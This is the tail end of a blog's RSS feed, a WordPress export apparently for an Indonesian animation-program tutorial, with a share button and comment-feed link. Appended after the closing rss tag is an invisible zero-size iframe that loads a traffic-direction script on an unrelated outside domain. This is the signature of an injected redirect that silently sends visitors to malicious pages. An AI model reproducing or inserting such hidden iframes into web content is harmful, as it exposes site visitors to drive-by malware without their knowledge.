href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Ftutorial-membuat-program-animasi%2F&amp;linkname=09.%20Program%20Animasi"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/tutorial-membuat-program-animasi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
